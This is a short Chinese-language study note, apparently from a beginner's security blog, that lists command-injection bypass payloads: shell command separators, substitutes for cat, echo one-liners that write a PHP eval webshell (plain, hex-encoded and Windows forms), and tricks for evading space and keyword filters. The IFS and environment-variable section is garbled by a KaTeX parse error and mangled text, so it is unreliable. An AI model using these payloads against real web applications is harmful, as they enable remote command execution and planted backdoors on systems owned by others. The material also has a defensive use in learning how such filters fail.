簡單的RCE注入攻擊

@簡單的RCE總結

首先:Command Injection 是web程序對用戶提交數據檢測不嚴格造成的命令攻擊。與sql注入攻擊一樣都會造成很大的危害。–走向一個安全小白的總結之路

一些繞過總結

  1. 命令連接符

    1. “;”:執行完前面的語句再執行後面的語句。
    2. “|”:顯示後面語句的執行結果。
    3. “||”:當前面的語句執行出錯時,執行後面的語句。
    4. “&”:兩條命令都執行,如果前面的語句爲假則執行執行後面的語句,前面的語句可真可假。
    5. “&&”:如果前面的語句爲假則直接出錯,也不執行後面的語句,前面的語句爲真則兩條命令都執行,前面的語句只能爲真。
    6. %0a“這個爲url編碼的換行符,不能在linux下直接使用需要通過php環境下”(在過濾掉前面幾種後可以考慮);
  2. 查看文件內容的命令

    1. “cat" 由第一行開始顯示,並將所有內容輸出。
    2. “tac”與cat相反,從最後一行開始逐行輸出。
    3. “more” 就是我們管道中常用的分頁顯示。
    4. “head”可以顯示文本內容的前幾行
    5. “tail”顯示末尾幾行
    6. “nl”與cat -n 命令一樣,輸出內容並顯示行號 ;
  3. 通過命令行編寫webshell

    1. “linux":echo “<?php eval(@\$_POST['pass']);?>” > webshell.php;
    2. echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//與上一種異曲同工,知識轉成了16進制 |xxd是將16進制轉回去
    3. windos下:“echo ^<?php eval($_POST[pass]); ?^> > webshell.php”
  4. 不適用空格的姿勢

    1. “{ls,-a}"
    2. “<”:ls<-a
    3. IFS:IFS:借衆博主的解釋:IFS在linux下表示分隔符,但是如果單純的catIFS2,bashIFS2IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在後面加個可以起到截斷的作用,但是爲什麼要用$9呢,因爲$9只是當前系統shell進程的第九個參數的持有者,它始終爲空字符串。
    4. 使用環境變量:shell=KaTeX parse error: Undefined control sequence: \x at position 2: '\̲x̲20123';\x20是空格。…(find flag*).
5.**當過濾大部分操時候** 
		1. 可以使用$@,例如:ca$@t flag
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章